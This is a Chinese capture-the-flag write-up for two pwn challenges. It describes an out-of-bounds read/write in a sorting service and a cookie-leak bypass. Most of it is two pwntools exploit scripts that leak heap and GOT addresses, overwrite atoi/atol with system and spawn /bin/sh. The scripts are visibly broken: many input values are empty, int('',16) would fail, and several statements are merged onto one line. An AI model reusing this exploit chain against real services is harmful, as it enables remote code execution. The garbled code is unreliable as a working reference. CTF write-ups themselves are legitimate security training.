前几天比赛的PWN题,简单写了下。
PWN400
漏洞是一个数组越界访问造成的任意地址读写。在对数据排序后,对数据进行查询和更新时,可以访问到数组以外一个元素(4个字节)。
程序中存在3种数据结构,第一种是用于存储排序数据的基本块。可以定义为:
typedef struct chunk1{
int size;
int array[size];
}chunk1, *pchunk1;
第二种是用于索引这些排序数据块的基本块。可以定义为:
typedef struct chunk2{
pchunk1 data;
struct chunk2 *next;
}chunk2, *pchunk2;
第三种是用来索引前两种的基本块,在利用过程中并没有涉及到该数据结构。
通过构造内存,可以造成堆地址泄漏(这个简单,对数据进行排序后,通过越界访问就可以泄漏堆地址信息),此外,精心构造可以造成两个第一种基本块相邻接,这样就可以通过地址越界将相邻的第一种基本块的大小改为很大,造成任意地址的读和写。当然了,在该题中必须有整数溢出的一个漏洞才能达到最后的目的。
from pwn import *
import time
#context.log_level = 'debug'
#by wangaohui
s = remote('127.0.0.1', 10001) time.sleep(1)
print 'pid of pwn1 is :' + str(pwnlib.util.proc.pidof('pwn1')[0])
raw_input('go!') def sort(data):
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort: ')
s.sendline(str(len(data)))
for i in data:
s.recvuntil('Enter a number: ')
s.sendline(str(i))
s.recvuntil('_CMD_$ ')
sort([1])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
bigtrunk = int(s.recvuntil('\n')[:-1])
print 'leaked bigtrunk addr is %x' % bigtrunk
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$ ')
sort([1,2,3,4,5,6,7])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') s.sendline('clear') s.recvuntil('_CMD_$ ')
sort([1,2,3,4,5,6,7])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$ ')
sort([1])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline('') #0x40000001
s.recvuntil('Update succeed!')
s.sendline('') s.recvuntil('_CMD_$ ')
s.sendline('reload')
s.recvuntil('Reload history ID: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') atoigot = int('0804D020',16) + 0x100000000
index = (atoigot - (bigtrunk + 0xc))/4 s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
atoi = int(s.recvuntil('\n')[:-1])&0xffffffff
print 'leaked aoti addr: %x' % atoi
system = atoi - 0x2F7F0 + 0x3E360 #debug s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline(str(index))
s.recvuntil('Update number: ')
systemstr = '-' + str((system^0xffffffff)+1)
s.sendline(systemstr) s.recvuntil('Choose: ')
s.sendline('/bin/sh;')
s.interactive()
PWN600
在PWN的基础上对第一种基本块加了Cookie,并在查询和更新时利用Cookie判断该基本块是否被Corrupted。增加了Cookie后,利用难度增加,Cookie是存放在.data数据段中,通过第一种数据块覆盖第二种数据块,可以造成Cookie的泄漏。
泄漏了Cookie后,就可以构造内存,伪造第一种基本数据块,接下来的思路就和PWN400相类似,任意地址读写。我这个EXP有个成功概率的问题,不会每次都成功。
from pwn import *
import time
#context.log_level = 'debug' s = remote('127.0.0.1', 10001)
time.sleep(1)
print 'pid of pwn2 is :' + str(pwnlib.util.proc.pidof('pwn2')[0])
raw_input('go!') def sort(data):
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort: ')
s.sendline(str(len(data)))
for i in data:
s.recvuntil('Enter a number: ')
s.sendline(str(i)) s.recvuntil('_CMD_$ ')
sort([1,2])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
bigtrunk = int(s.recvuntil('\n')[:-1])
print 'leaked bigtrunk addr is %x' % bigtrunk s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline(str(int('0804C04C',16)))
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$ ')
s.sendline('history')
s.recvuntil(', Len = ')
random = int(s.recvuntil(',')[:-1])
print 'leaked cookie is %x' % random s.recvuntil('_CMD_$ ')
t1 = int('',16)
t2 = t1^random
if(t2>t1):
print 'Will be Exploited!'
sort([t1,t2,t2+1,t2+2,t2+3,t2+4,t2+5,t2+6])
s.recvuntil('Choose: ')
s.sendline('')
pos = bigtrunk + 0x20
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline(str(pos))
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$ ')
s.sendline('reload') base = bigtrunk + 0x50
atol_got = 0x10804C01C
index = (atol_got - base)/4
print 'index is %d' % index
s.recvuntil('Reload history ID: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
atol = int(s.recvuntil('\n')[:-1])&0xffffffff
system = atol - 0x000327B0 + 0x0003E360
print 'leaked system addr is %x' % system
systemstr = '-' + str((system^0xffffffff)+1) s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline(str(index))
s.recvuntil('Update number: ')
s.sendline(systemstr)
s.recvuntil('Update succeed!')
s.recvuntil('Choose: ') s.sendline('/bin/sh;')
s.interactive()